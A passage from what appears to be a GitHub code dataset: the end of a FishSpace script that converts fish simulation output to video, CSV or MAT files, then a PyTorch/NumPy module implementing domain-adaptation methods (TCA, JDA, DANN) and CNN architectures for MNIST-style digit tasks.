color='black')\n\n ax2 = fig.add_subplot(gs1[0])\n\n fishing_lattice = np.zeros(geog_mask.shape)\n for pos in json_data['reef_fish']['fisher_locs']:\n x, y = pos[0]\n if x >= 0:\n fishing_lattice[x][y] = 1\n\n\n fisher_map = ax2.imshow(np.flipud(fishing_lattice), interpolation='none', cmap='Reds')\n ax2.imshow(np.flipud(1 - the_mask), cmap='summer', interpolation='none')\n ax2.set_xticks([])\n ax2.set_yticks([])\n\n\ndef plot_figuremod(filename):\n fig = plt.figure(figsize=[10, 6])\n Writer = matplotlib.animation.writers['ffmpeg']\n writer = Writer(fps=12, metadata=dict(artist='FISHSPACE'), bitrate=1800)\n with writer.saving(fig, \".\".join(filename.split(\".\")[:-1]) + \".mp4\", 100) as _ ,\\\n io.open(filename) as data_file:\n for index, line in enumerate(data_file):\n json_data = json.loads(line)\n print(index, json_data['time'])\n __draw_figure_ccrespick(fig, json_data)\n writer.grab_frame()\n\n\ndef plot_figure(filename):\n fig = plt.figure(figsize=[10, 6])\n Writer = matplotlib.animation.writers['ffmpeg']\n writer = Writer(fps=12, metadata=dict(artist='FISHSPACE'), bitrate=1800)\n with writer.saving(fig, \".\".join(filename.split(\".\")[:-1]) + \".mp4\", 100) as _ ,\\\n io.open(filename) as data_file:\n for index, line in enumerate(data_file):\n json_data = json.loads(line)\n __draw_figure_ccres(fig, json_data)\n writer.grab_frame()\n\ndef convert_to_mat(filename):\n with io.open(filename) as datafile:\n ## Inspect first line for details\n first_line = json.loads(datafile.readline())\n headers = [i for i in first_line if i in ['reef_fish', 'pelagic_fish']]\n dataset = { head:{} for head in headers }\n for header in headers:\n for name, content in first_line[header].items():\n # if 0-d (scalar), forces the array to be 1-d. If 2-d, forces\n # the array to be 3-d with dim 1 x M x N.\n arrayify = np.array([content])\n dataset[header][name] = arrayify\n\n # .. and for the rest of the file, append the arrays\n for index, line in enumerate(datafile):\n data = json.loads(line)\n for header in headers:\n for name, content in data[header].items():\n dataset[header][name] = np.append(dataset[header][name], np.array([content]), axis=0)\n\n # Flatten array to make it MATLAB-friendly when unpacked as variables\n new_array = {}\n for header in headers:\n for name, content in dataset[header].items():\n new_array[header + \"_\" + name] = content\n savemat(\".\".join(filename.split(\".\")[:-1]) + \".mat\", new_array)\n\n\ndef convert_to_csv(filename):\n\n with io.open(filename) as data_file:\n first_line = json.loads(data_file.readline())\n headers = [i for i in first_line if i in ['reef_fish', 'pelagic_fish']]\n data = { header : [] for header in headers }\n data_file.seek(0) # Rewind!\n\n for line in data_file:\n json_data = json.loads(line)\n for head in headers:\n data[head].append(json_data[head]['total_biomass'])\n\n cols, vals = zip(*data.items())\n vals = list(vals)[0] if len(vals) == 1 else list(vals)\n df = pd.DataFrame(list(vals), columns=cols)\n df.to_csv(\".\".join(filename.split(\".\")[:-1]) + \".csv\", index=False)\n\n\nchoices = {\n 'TO_CSV': convert_to_csv,\n 'PLOT_FIGURE': plot_figure,\n 'PLOT_FIGUREMOD': plot_figuremod,\n 'TO_MAT': convert_to_mat\n}\n\nif __name__ == '__main__':\n choices[sys.argv[1]](sys.argv[2])\n","repo_name":"rollan13/FishSpacePlus_temp","sub_path":"fishspace_py/fishspace/outputs.py","file_name":"outputs.py","file_ext":"py","file_size_in_byte":6455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41144087331","text":"# encoding=utf-8\n\"\"\"\n Created on 21:36 2019/07/23\n @author: Chenxi Huang\n It about the network.\n\"\"\"\nimport torch\nimport torchvision\nfrom torch import nn\nimport torch.nn.functional as F\nfrom torch.nn import init as nninit\nimport numpy as np\nfrom math import sqrt\nfrom sklearn.neighbors import KNeighborsClassifier\nimport sklearn.metrics\nimport scipy.linalg\nfrom torch.autograd import Function\n\n_ARCH_REGISTRY = {}\n\n\ndef kernel(ker, X1, X2, gamma):\n \"\"\"\n get the Kernel\n :param ker: the type pf kernel\n :param X1: a domain\n :param X2: another domain\n :param gamma: use in the RBF model\n :return: the evaluate of pairwise distances or affinity of sets of samples\n \"\"\"\n K = None\n if not ker or ker == 'primal':\n K = X1\n elif ker == 'linear':\n if X2:\n K = sklearn.metrics.pairwise.linear_kernel(np.asarray(X1).T, np.asarray(X2).T)\n else:\n K = sklearn.metrics.pairwise.linear_kernel(np.asarray(X1).T)\n elif ker == 'rbf':\n if X2:\n K = sklearn.metrics.pairwise.rbf_kernel(np.asarray(X1).T, np.asarray(X2).T, gamma)\n else:\n K = sklearn.metrics.pairwise.rbf_kernel(np.asarray(X1).T, None, gamma)\n return K\n\n\ndef architecture(name, sample_shape):\n \"\"\"\n Decorator to register an architecture;\n Use like so:\n @architecture('my_architecture', (3, 32, 32))\n ... class MyNetwork(nn.Module):\n ... def __init__(self, n_classes):\n ... # Build network\n ... pass\n \"\"\"\n\n def decorate(fn):\n _ARCH_REGISTRY[name] = (fn, sample_shape)\n return fn\n\n return decorate\n\n\ndef get_net_and_shape_for_architecture(arch_name):\n \"\"\"\n Get network building function and expected sample shape:\n\n For example:\n net_class, shape = get_net_and_shape_for_architecture('my_architecture')\n\n if shape != expected_shape:\n ... raise Exception('Incorrect shape')\n \"\"\"\n return _ARCH_REGISTRY[arch_name]\n\n\ndef conv2d(m, n, k, act=True):\n # use to construct the network\n layers = [nn.Conv2d(m, n, k, padding=1)]\n\n if act:\n layers += [nn.ELU()]\n\n return nn.Sequential(\n *layers\n )\n\n\ndef init_weights(m):\n classname = m.__class__.__name__\n if classname.find('Conv2d') != -1 or classname.find('ConvTranspose2d') != -1:\n nn.init.kaiming_uniform_(m.weight)\n nn.init.zeros_(m.bias)\n elif classname.find('BatchNorm') != -1:\n nn.init.normal_(m.weight, 1.0, 0.02)\n nn.init.zeros_(m.bias)\n elif classname.find('Linear') != -1:\n nn.init.xavier_normal_(m.weight)\n nn.init.zeros_(m.bias)\n\n\nclass TCA:\n \"\"\"\n This is network of \"Domain Adaptation via Transfer Component Analysis\"\n \"\"\"\n\n def __init__(self, kernel_type='primal', dim=30, lamb=1, gamma=1):\n \"\"\"\n Init func\n :param kernel_type: kernel, values: 'primal' | 'linear' | 'rbf'\n :param dim: dimension after transfer\n :param lamb: lambda value in equation\n :param gamma: kernel bandwidth for rbf kernel\n \"\"\"\n self.kernel_type = kernel_type\n self.dim = dim\n self.lamb = lamb\n self.gamma = gamma\n\n def fit(self, Xs, Xt):\n \"\"\"\n Transform Xs and Xt\n :param Xs: ns * n_feature, source feature\n :param Xt: nt * n_feature, target feature\n :return: Xs_new and Xt_new after TCA\n \"\"\"\n X = np.hstack((Xs.T, Xt.T)) # np.hstack(): tiling in the horizontal direction -> [Xs^T, Xt^T]\n # print(type(X))\n # print()\n # print(type(np.linalg.norm(X, axis=0)))\n X /= np.linalg.norm(X, axis=0) # np.linalg.norm(X, axis=0), find X's form according to the columns\n m, n = X.shape # n = ns + nt\n ns, nt = len(Xs), len(Xt)\n e = np.vstack((1 / ns * np.ones((ns, 1)), -1 / nt * np.ones((nt, 1)))) # (ns+nt, 1)\n\n M = e * e.T\n M = M / np.linalg.norm(M, 'fro') # frobenius=sqrt(\\lambda(A^TA))\n H = np.eye(n) - 1 / n * np.ones((n, n)) # H=I_{ns+nt} - 1/(n_s+n_t)11^T, centering matrix\n K = kernel(self.kernel_type, X, None, gamma=self.gamma)\n\n n_eye = m if self.kernel_type == 'primal' else n\n # a: KMK^T+\\lambda Im b: KHK^T\n a, b = np.linalg.multi_dot([K, M, K.T]) + self.lamb * np.eye(n_eye), np.linalg.multi_dot([K, H, K.T])\n w, V = scipy.linalg.eig(a, b) # (KLK^T+\\lambda I)^{-1}KHK^T, w is the eigenvalue, and v is eigenvectors\n ind = np.argsort(w) # sort and return the index\n A = V[:, ind[:self.dim]] # get the first m numbers\n Z = np.dot(A.T, K) # W^TK\n Z /= np.linalg.norm(Z, axis=0) # np.linalg.norm(Z, axis=0) = KWW^TK = the original K\n Xs_new, Xt_new = Z[:, :ns].T, Z[:, ns:].T\n return Xs_new, Xt_new\n\n def fit_predict(self, Xs, Ys, Xt, Yt):\n \"\"\"\n Transform Xs and Xt, then make predictions on target using 1NN\n :param Xs: ns * n_feature, source feature\n :param Ys: ns * 1, source label\n :param Xt: nt * n_feature, target feature\n :param Yt: nt * 1, target label\n :return: acc, y_red: accuracy and predicted labels on the target domain\n \"\"\"\n Xs_new, Xt_new = self.fit(Xs, Xt)\n clf = KNeighborsClassifier(n_neighbors=1) # use K-Neighbors Classfier\n clf.fit(Xs_new, Ys.ravel()) # ravel: make it to one dimension\n y_pred = clf.predict(Xt_new) # predict the value of Y\n ys = clf.predict(Xs_new)\n acc = sklearn.metrics.accuracy_score(Yt, y_pred) # compare, and compute the accuracy\n yacc = sklearn.metrics.accuracy_score(Ys, ys)\n return acc, y_pred, yacc\n\n\nclass JDA:\n \"\"\"\n This is network of \"Transfer Feature Learning with Joint Distribution Adaptation\", refer to WJD.\n \"\"\"\n\n def __init__(self, kernel_type='primal', dim=30, lamb=1, gamma=1, T=10):\n \"\"\"\n Init func\n :param kernel_type: kernel, values: 'primal' | 'linear' | 'rbf'\n :param dim: dimension after transfer\n :param lamb: lambda value in equation\n :param gamma: kernel bandwidth for rbf kernel\n :param T: iteration number\n \"\"\"\n self.kernel_type = kernel_type\n self.dim = dim\n self.lamb = lamb\n self.gamma = gamma\n self.T = T # compared to TCA, it add the iteration number\n\n def fit_predict(self, Xs, Ys, Xt, Yt, log):\n \"\"\"\n Transform and Predict using 1NN as JDA paper did\n :param Xs: ns * n_feature, source feature\n :param Ys: ns * 1, source label\n :param Xt: nt * n_feature, target feature\n :param Yt: nt * 1, target label\n :return: acc, y_pred, list_acc\n \"\"\"\n list_acc = []\n # set predefined variables\n X = np.hstack((Xs.T, Xt.T))\n X /= np.linalg.norm(X, axis=0)\n m, n = X.shape\n ns, nt = len(Xs), len(Xt)\n # construct MMD matrix\n e = np.vstack((1 / ns * np.ones((ns, 1)), -1 / nt * np.ones((nt, 1))))\n C = len(np.unique(Ys))\n H = np.eye(n) - 1 / n * np.ones((n, n))\n\n M = 0\n Y_tar_pseudo = None\n\n for t in range(self.T):\n N = 0\n M0 = e * e.T * C # construct MMD matrix\n # the difference between TCA and JDA\n if Y_tar_pseudo is not None and len(Y_tar_pseudo) == nt: # Repeat\n for c in range(1, C + 1):\n e = np.zeros((n, 1))\n tt = Ys == c\n e[np.where(tt == True)] = 1 / len(Ys[np.where(Ys == c)]) # can't write tt is True. It is different.\n yy = Y_tar_pseudo == c\n ind = np.where(yy == True)\n inds = [item + ns for item in ind]\n e[tuple(inds)] = -1 / len(Y_tar_pseudo[np.where(Y_tar_pseudo == c)])\n e[np.isinf(e)] = 0\n N = N + np.dot(e, e.T)\n\n M = M0 + N\n M = M / np.linalg.norm(M, 'fro')\n K = kernel(self.kernel_type, X, None, gamma=self.gamma)\n\n n_eye = m if self.kernel_type == 'primal' else n\n # (X \\sum_{c=0}^CM_c X^T + \\lambda I)A=X H X^T A \\Phi\n a, b = np.linalg.multi_dot([K, M, K.T]) + self.lamb * np.eye(n_eye), np.linalg.multi_dot([K, H, K.T])\n w, V = scipy.linalg.eig(a, b)\n ind = np.argsort(w)\n A = V[:, ind[:self.dim]]\n Z = np.dot(A.T, K)\n Z /= np.linalg.norm(Z, axis=0)\n Xs_new, Xt_new = Z[:, :ns].T, Z[:, ns:].T\n\n clf = KNeighborsClassifier(n_neighbors=1)\n clf.fit(Xs_new, Ys.ravel())\n Y_tar_pseudo = clf.predict(Xt_new)\n acc = sklearn.metrics.accuracy_score(Yt, Y_tar_pseudo)\n list_acc.append(acc)\n print('JDA iteration [{}/{}]: Acc: {:.4f}'.format(t + 1, self.T, acc))\n log.add_log(t, '*', 0, acc)\n return acc, Y_tar_pseudo, list_acc\n\n\nclass JDA_LMS:\n \"\"\"\n This is network of \"Transfer Feature Learning with Joint Distribution Adaptation\", refer to LMS\n \"\"\"\n\n def __init__(self, kernel_type='primal', dim=30, lamb=1, gamma=1, T=10):\n \"\"\"\n Init func\n :param kernel_type: kernel values: 'primal' | 'linear' | 'rbf'\n :param dim: dimension after transfer\n :param lamb: lambda value in equation, in paper is mu\n :param gamma: kernel bandwidth for rbf kernel\n :param T: iteration number\n \"\"\"\n self.kernel_type = kernel_type\n self.dim = dim\n self.lamb = lamb\n self.gamma = gamma\n self.T = T # compared to TCA, it add the iteration number\n\n def fit_predict(self, Xs, Ys, Xt, Yt0):\n \"\"\"\n Transform and Predict using 1NN as JDA paper did\n :param Xs: ns * n_feature, source feature\n :param Ys: ns * 1, source label\n :param Xt: nt * n_feature, target feature\n :param Yt0: nt * 1, target label\n :return: Z, A: the new input data and the first m eigenvalues\n \"\"\"\n list_acc = []\n # set predefined variables\n X = np.hstack((Xs.T, Xt.T))\n X /= np.linalg.norm(X, axis=0)\n m, n = X.shape # 800, 2081\n ns, nt = len(Xs), len(Xt) # 1123, 958\n C = len(np.unique(Ys))\n # construct MMD matrix\n e = np.vstack((1 / ns * np.ones((ns, 1)), -1 / nt * np.ones((nt, 1))))\n M = e * e.T * C\n if Yt0 is not None and len(Yt0) == nt:\n for c in np.reshape(np.unique(Ys), C, 1):\n e = np.zeros((n, n))\n e[np.where(Ys == c)] = 1 / len(Ys[np.where(Ys == c)])\n yy = Yt0 == c\n ind = np.where(yy == True)\n inds = [item + ns for item in ind]\n e[tuple(inds)] = -1 / len(Yt0[np.where(Yt0 == c)])\n e[np.isinf(e)] = 0\n M = M + np.dot(e, e.T)\n M = M / np.linalg.norm(M, 'fro')\n\n # construct centering matrix\n H = np.eye(n) - 1 / n * np.ones((n, n))\n\n # Joint Distribution Adaptation: JDA\n K = kernel(self.kernel_type, X, None, gamma=self.gamma)\n n_eye = m if self.kernel_type == 'primal' else n\n # (X \\sum_{c=0}^CM_c X^T + \\lambda I)A=X H X^T A \\Phi\n a, b = np.linalg.multi_dot([K, M, K.T]) + self.lamb * np.eye(n_eye), np.linalg.multi_dot([K, H, K.T])\n w, V = scipy.linalg.eig(a, b)\n ind = np.argsort(w)\n A = V[:, ind[:self.dim]]\n Z = np.dot(A.T, K)\n return Z, A\n\n\nclass BaselineM2U(nn.Module):\n \"\"\"\n This is Network of MNIST to USPS\n \"\"\"\n\n def __init__(self, n_classes):\n super(BaselineM2U, self).__init__()\n self.conv1_1 = nn.Conv2d(1, 32, (5, 5))\n self.conv1_1_bn = nn.BatchNorm2d(32)\n\n self.pool1 = nn.MaxPool2d((2, 2))\n\n self.conv2_1 = nn.Conv2d(32, 64, (3, 3))\n self.conv2_1_bn = nn.BatchNorm2d(64)\n\n self.conv2_2 = nn.Conv2d(64, 64, (3, 3))\n self.conv2_2_bn = nn.BatchNorm2d(64)\n\n self.pool2 = nn.MaxPool2d((2, 2))\n # Default p=0.5\n self.drop1 = nn.Dropout(p=0.5)\n\n self.fc3 = nn.Linear(1024, 256)\n\n self.fc4 = nn.Linear(256, n_classes)\n\n def forward(self, x):\n x = self.pool1(F.relu(self.conv1_1_bn(self.conv1_1(x))))\n x = F.relu(self.conv2_1_bn(self.conv2_1(x)))\n x = self.pool2(F.relu(self.conv2_2_bn(self.conv2_2(x))))\n x = x.view(-1, 1024)\n x = self.drop1(x)\n x = F.relu(self.fc3(x))\n x = self.fc4(x)\n return x\n\n\ndef get_large_classifier(in_features_size, n_classes):\n classifier = nn.Sequential(\n nn.Dropout(0.5),\n nn.Linear(in_features_size, 1024),\n nn.BatchNorm1d(1024),\n nn.ReLU(),\n nn.Dropout(0.5),\n nn.Linear(1024, 1024),\n nn.BatchNorm1d(1024),\n nn.ReLU(),\n nn.Linear(1024, n_classes)\n )\n\n return classifier\n\n\nclass ResNet50(nn.Module):\n def __init__(self, bottleneck_dim=256, n_classes=1000, pretrained=True, use_dropout=False):\n super(ResNet50, self).__init__()\n self.n_classes = n_classes\n self.pretrained = pretrained\n self.use_dropout = use_dropout\n\n resnet50 = torchvision.models.resnet50(pretrained=pretrained)\n\n # Extracter\n self.feature_extracter = nn.Sequential(\n resnet50.conv1,\n resnet50.bn1,\n resnet50.relu,\n resnet50.maxpool,\n resnet50.layer1,\n resnet50.layer2,\n resnet50.layer3,\n resnet50.layer4,\n resnet50.avgpool,\n )\n\n self.bottleneck = nn.Linear(resnet50.fc.in_features, bottleneck_dim)\n self.bottleneck.apply(init_weights)\n self.features_output_size = bottleneck_dim\n\n if use_dropout:\n self.dropout = nn.Dropout(0.5)\n\n # Class Classifier\n self.classifier = get_large_classifier(\n in_features_size=self.features_output_size,\n n_classes=n_classes,\n )\n self.classifier.apply(init_weights)\n\n def forward(self, x, get_features=False, get_class_outputs=True):\n if get_features == False and get_class_outputs == False:\n return None\n features = self.feature_extracter(x)\n features = features.view(features.size(0), -1)\n features = self.bottleneck(features)\n\n if self.use_dropout:\n features = self.dropout(features)\n\n if get_features == True and get_class_outputs == False:\n return features\n\n class_outputs = self.classifier(features)\n\n if get_features:\n return features, class_outputs\n else:\n return class_outputs\n\n def get_parameters(self):\n parameters = [\n {'params': self.feature_extracter.parameters(), 'lr_mult': 1, 'decay_mult': 1},\n {'params': self.bottleneck.parameters(), 'lr_mult': 10, 'decay_mult': 2},\n {'params': self.classifier.parameters(), 'lr_mult': 10, 'decay_mult': 2}\n ]\n\n return parameters\n\n\nclass DANN(object):\n \"\"\"\n This is Network of Domain Adversarial Neural Network for classification\n \"\"\"\n\n def __init__(self, learning_rate=0.05, hidden_layer_size=25, lambda_adapt=1., maxiter=200,\n epsilon_init=None, adversarial_representation=True, seed=12342, verbose=False):\n \"\"\"\n option \"learning_rate\" is the learning rate of the neural network. In paper is \\mu.\n option \"hidden_layer_size\" is the hidden layer size.\n option \"lambda_adapt\" weights the domain adaptation regularization term. In paper is \\lambda.\n if 0 or None or False, then no domain adaptation regularization is performed\n option \"maxiter\" number of training iterations.\n option \"epsilon_init\" is a term used for initialization.\n if None the weight matrices are weighted by 6/(sqrt(r+c))\n (where r and c are the dimensions of the weight matrix)\n option \"adversarial_representation\": if False, the adversarial classifier is trained\n but has no impact on the hidden layer representation. The label predictor is\n then the same as a standard neural-network one (see experiments_moon.py figures).\n option \"seed\" is the seed of the random number generator.\n \"\"\"\n self.hidden_layer_size = hidden_layer_size\n self.maxiter = maxiter\n self.lambda_adapt = lambda_adapt if lambda_adapt not in (None, False) else 0.\n self.epsilon_init = epsilon_init\n self.learning_rate = learning_rate\n self.adversarial_representation = adversarial_representation\n self.seed = seed\n self.verbose = verbose\n\n def sigmoid(self, z):\n \"\"\"\n Sigmoid function.\n \"\"\"\n return 1. / (1. + np.exp(-z))\n\n def softmax(self, z):\n \"\"\"\n Softmax function.\n \"\"\"\n v = np.exp(z)\n return v / np.sum(v, axis=0)\n\n def random_init(self, l_in, l_out):\n \"\"\"\n This method is used to initialize the weight matrices of the DA neural network\n \"\"\"\n if self.epsilon_init is not None:\n epsilon = self.epsilon_init\n else:\n epsilon = sqrt(6.0 / (l_in + l_out))\n\n return epsilon * (2 * np.random.rand(l_out, l_in) - 1.0)\n\n def fit(self, log, X, Y, X_adapt, X_valid=None, Y_valid=None, do_random_init=True):\n \"\"\"\n Trains the domain adversarial neural network until it reaches a total number of\n iterations of \"self.maxiter\" since it was initialize.\n inputs:\n X : Source data matrix\n Y : Source labels\n X_adapt : Target data matrix\n (X_valid, Y_valid) : validation set used for early stopping.\n do_random_init : A boolean indicating whether to use random initialization or not.\n \"\"\"\n # nb_examples: n\n nb_examples, nb_features = np.shape(X)\n nb_labels = len(set(Y))\n nb_examples_adapt, _ = np.shape(X_adapt)\n\n if self.verbose:\n print('[DANN parameters]', self.__dict__)\n\n np.random.seed(self.seed)\n\n if do_random_init:\n # W, V <- random_init(D)\n # b,c,u,d <- 0\n W = self.random_init(nb_features, self.hidden_layer_size)\n V = self.random_init(self.hidden_layer_size, nb_labels)\n b = np.zeros(self.hidden_layer_size)\n c = np.zeros(nb_labels)\n U = np.zeros(self.hidden_layer_size)\n d = 0.\n else:\n W, V, b, c, U, d = self.W, self.V, self.b, self.c, self.U, self.d\n\n best_valid_risk = 2.0\n continue_until = 30\n\n for t in range(self.maxiter):\n for i in range(nb_examples):\n x_t, y_t = X[i, :], Y[i]\n # forward propagation\n # hidden_layer: G_f(x_i); output_layer: G_y(G_f(x_i))\n hidden_layer = self.sigmoid(np.dot(W, x_t) + b)\n output_layer = self.softmax(np.dot(V, hidden_layer) + c)\n\n # e(y_t): one-hot vector\n y_hot = np.zeros(nb_labels)\n y_hot[y_t] = 1.0\n\n # backward propagation\n # not \\Delta_c <- (e(y_i)-G_y(G_f(x_i))) ???\n # delta_c = y_hot - output_layer\n delta_c = output_layer - y_hot\n # \\Delta_V <- \\Delta_c G_f(x_i)^T\n # -1 means not determined, according to the program.\n delta_V = np.dot(delta_c.reshape(-1, 1), hidden_layer.reshape(1, -1))\n # \\Delta_b <- (V^T \\Delta_c)\\odot G_f(x_i) \\odot (1 - G_f(x_i))\n delta_b = np.dot(V.T, delta_c) * hidden_layer * (1. - hidden_layer)\n # \\Delta W <- \\Delta_b\\cdot(x_i)^T\n delta_W = np.dot(delta_b.reshape(-1, 1), x_t.reshape(1, -1))\n\n if self.lambda_adapt == 0.:\n delta_U, delta_d = 0., 0.\n else:\n # add domain adaptation regularizer from current domain\n # G_d(G_f(x_i)) <- sigm(d + u^T G_f(x_i))\n gho_x_t = self.sigmoid(np.dot(U.T, hidden_layer) + d)\n # \\Delta_d <- \\lambda(1 - G_d(G_f(x_i)))\n delta_d = self.lambda_adapt * (1. - gho_x_t)\n # \\Delta_u <- \\Delta_d G_f(x_i)\n delta_U = delta_d * hidden_layer\n\n if self.adversarial_representation:\n # tmp <- \\Delta_d \\times u \\odot G_f(x_i) \\odot (1 - G_f(x_i))\n tmp = delta_d * U * hidden_layer * (1. - hidden_layer)\n # \\Delta_b <- \\Delta_b+tmp\n delta_b += tmp\n # \\Delta_W <- \\Delta_W + tmp * (x_i)^T\n delta_W += tmp.reshape(-1, 1) * x_t.reshape(1, -1)\n\n # add domain adaptation regularizer from other domain\n # j <- uniform_integer(1,..., n')\n i_2 = np.random.randint(nb_examples_adapt)\n x_t_2 = X_adapt[i_2, :]\n # G_f(x_j) <- sigm(b + W x_j)\n hidden_layer_2 = self.sigmoid(np.dot(W, x_t_2) + b)\n # G_d(G_f(x_j)) <- sigm(d + u^T G_f(x_j))\n gho_x_t_2 = self.sigmoid(np.dot(U.T, hidden_layer_2) + d)\n # \\Delta_d <- \\Delta_d -\\lambda G_d(G_f(x_j))\n delta_d -= self.lambda_adapt * gho_x_t_2\n # \\Delta_u <- \\Delta_u-\\lambda G_d(G_f(x_j))G_f(x_j)\n delta_U -= self.lambda_adapt * gho_x_t_2 * hidden_layer_2\n\n if self.adversarial_representation:\n # tmp <- -\\lambda G_d(G_f(x_j)) \\times u \\odot G_f(x_j) \\odot (1 - G_f(x_j))\n tmp = -self.lambda_adapt * gho_x_t_2 * U * hidden_layer_2 * (1. - hidden_layer_2)\n # \\Delta_b <- \\Delta_b+tmp\n delta_b += tmp\n # \\Delta_W <- \\Delta_W + tmp * (x_j)^T\n delta_W += tmp.reshape(-1, 1) * x_t_2.reshape(1, -1)\n\n # Update neural network internal parameters\n # W <- W - \\mu \\Delta_W\n W -= delta_W * self.learning_rate\n # b <- b - \\mu \\Delta_b\n b -= delta_b * self.learning_rate\n # V <- V -\\mu\\Delta_V\n V -= delta_V * self.learning_rate\n # c <- c - \\mu \\Delta_c\n c -= delta_c * self.learning_rate\n\n # Update domain classifier\n # u <- u - \\mu \\Delta_u\n U += delta_U * self.learning_rate\n # d <- d - \\mu \\Delta_d\n d += delta_d * self.learning_rate\n # END for i in range(nb_examples)\n\n self.W, self.V, self.b, self.c, self.U, self.d = W, V, b, c, U, d\n\n # early stopping\n if X_valid is not None:\n valid_pred = self.predict(X_valid)\n valid_risk = np.mean(valid_pred != Y_valid)\n if valid_risk <= best_valid_risk:\n if self.verbose:\n print('[DANN best valid risk so far] %f (iter %d)' % (valid_risk, t))\n log.add_log(t, '*', 0, 1 - valid_risk)\n best_valid_risk = valid_risk\n best_weights = (W.copy(), V.copy(), b.copy(), c.copy())\n best_t = t\n continue_until = max(continue_until, int(1.5 * t))\n elif t > continue_until:\n if self.verbose:\n print('[DANN early stop] iter %d' % t)\n break\n # END for t in range(self.maxiter)\n\n if X_valid is not None:\n self.W, self.V, self.b, self.c = best_weights\n self.nb_iter = best_t\n self.valid_risk = best_valid_risk\n else:\n self.nb_iter = self.maxiter\n self.valid_risk = 2.\n\n def forward(self, X):\n \"\"\"\n Compute and return the network outputs for X, i.e., a 2D array of size len(X) by len(set(Y)).\n the ith row of the array contains output probabilities for each class for the ith example.\n \"\"\"\n # G_f(x;W,b) = sigm(Wx+b)\n hidden_layer = self.sigmoid(np.dot(self.W, X.T) + self.b[:, np.newaxis])\n # G_y(G_f(x);V,c) = softmax(V G_f(x) + c)\n output_layer = self.softmax(np.dot(self.V, hidden_layer) + self.c[:, np.newaxis])\n return output_layer\n\n def hidden_representation(self, X):\n \"\"\"\n Compute and return the network hidden layer values for X.\n \"\"\"\n # G_d(G_f(x);u,z) = sigm(u^T G_f(x) + z)\n hidden_layer = self.sigmoid(np.dot(self.W, X.T) + self.b[:, np.newaxis])\n return hidden_layer.T\n\n def predict(self, X):\n \"\"\"\n Compute and return the label predictions for X, i.e., a 1D array of size len(X).\n the ith row of the array contains the predicted class for the ith example .\n \"\"\"\n output_layer = self.forward(X)\n # If the i-th row is the largest, it means that the i-th class is the most likely\n return np.argmax(output_layer, 0)\n\n def predict_domain(self, X):\n \"\"\"\n Compute and return the domain predictions for X, i.e., a 1D array of size len(X).\n the ith row of the array contains the predicted domain (0 or 1) for the ith example.\n \"\"\"\n hidden_layer = self.sigmoid(np.dot(self.W, X.T) + self.b[:, np.newaxis])\n output_layer = self.sigmoid(np.dot(self.U, hidden_layer) + self.d)\n return np.array(output_layer < .5, dtype=int)\n\n\n# The following are network of \"Self-ensembling for visual domain adaptation\"\n@architecture('mnist-bn-32-64-256', (1, 28, 28))\nclass MNIST_BN_32_64_256(nn.Module):\n def __init__(self, n_classes):\n super(MNIST_BN_32_64_256, self).__init__()\n\n self.conv1_1 = nn.Conv2d(1, 32, (5, 5))\n self.conv1_1_bn = nn.BatchNorm2d(32)\n self.pool1 = nn.MaxPool2d((2, 2))\n\n self.conv2_1 = nn.Conv2d(32, 64, (3, 3))\n self.conv2_1_bn = nn.BatchNorm2d(64)\n self.conv2_2 = nn.Conv2d(64, 64, (3, 3))\n self.conv2_2_bn = nn.BatchNorm2d(64)\n self.pool2 = nn.MaxPool2d((2, 2))\n\n self.drop1 = nn.Dropout()\n self.fc3 = nn.Linear(1024, 256)\n self.fc4 = nn.Linear(256, n_classes)\n\n def forward(self, x):\n x = self.pool1(F.relu(self.conv1_1_bn(self.conv1_1(x))))\n\n x = F.relu(self.conv2_1_bn(self.conv2_1(x)))\n x = self.pool2(F.relu(self.conv2_2_bn(self.conv2_2(x))))\n x = x.view(-1, 1024)\n x = self.drop1(x)\n x = F.relu(self.fc3(x))\n x = self.fc4(x)\n return x\n\n\n@architecture('grey-32-64-128-gp', (1, 32, 32))\nclass Grey_32_64_128_gp(nn.Module):\n def __init__(self, n_classes):\n super(Grey_32_64_128_gp, self).__init__()\n\n self.conv1_1 = nn.Conv2d(1, 32, (3, 3), padding=1)\n self.conv1_1_bn = nn.BatchNorm2d(32)\n self.conv1_2 = nn.Conv2d(32, 32, (3, 3), padding=1)\n self.conv1_2_bn = nn.BatchNorm2d(32)\n self.pool1 = nn.MaxPool2d((2, 2))\n\n self.conv2_1 = nn.Conv2d(32, 64, (3, 3), padding=1)\n self.conv2_1_bn = nn.BatchNorm2d(64)\n self.conv2_2 = nn.Conv2d(64, 64, (3, 3), padding=1)\n self.conv2_2_bn = nn.BatchNorm2d(64)\n self.conv2_3 = nn.Conv2d(64, 64, (3, 3), padding=1)\n self.conv2_3_bn = nn.BatchNorm2d(64)\n self.pool2 = nn.MaxPool2d((2, 2))\n\n self.conv3_1 = nn.Conv2d(64, 128, (3, 3), padding=1)\n self.conv3_1_bn = nn.BatchNorm2d(128)\n self.conv3_2 = nn.Conv2d(128, 128, (3, 3), padding=1)\n self.conv3_2_bn = nn.BatchNorm2d(128)\n self.conv3_3 = nn.Conv2d(128, 128, (3, 3), padding=1)\n self.conv3_3_bn = nn.BatchNorm2d(128)\n self.pool3 = nn.MaxPool2d((2, 2))\n\n self.drop1 = nn.Dropout()\n\n self.fc4 = nn.Linear(128, 128)\n self.fc5 = nn.Linear(128, n_classes)\n\n def forward(self, x):\n x = F.relu(self.conv1_1_bn(self.conv1_1(x)))\n x = self.pool1(F.relu(self.conv1_2_bn(self.conv1_2(x))))\n\n x = F.relu(self.conv2_1_bn(self.conv2_1(x)))\n x = F.relu(self.conv2_2_bn(self.conv2_2(x)))\n x = self.pool2(F.relu(self.conv2_3_bn(self.conv2_3(x))))\n\n x = F.relu(self.conv3_1_bn(self.conv3_1(x)))\n x = F.relu(self.conv3_2_bn(self.conv3_2(x)))\n x = self.pool3(F.relu(self.conv3_3_bn(self.conv3_3(x))))\n\n x = F.avg_pool2d(x, 4)\n x = x.view(-1, 128)\n x = self.drop1(x)\n\n x = F.relu(self.fc4(x))\n x = self.fc5(x)\n return x\n\n\n@architecture('grey-32-64-128-gp-wn', (1, 32, 32))\nclass Grey_32_64_128_gp_wn(nn.Module):\n def __init__(self, n_classes):\n super(Grey_32_64_128_gp_wn, self).__init__()\n\n self.conv1_1 = nn.Conv2d(1, 32, (3, 3), padding=1)\n self.conv1_2 = nn.Conv2d(32, 32, (3, 3), padding=1)\n self.pool1 = nn.MaxPool2d((2, 2))\n\n self.conv2_1 = nn.Conv2d(32, 64, (3, 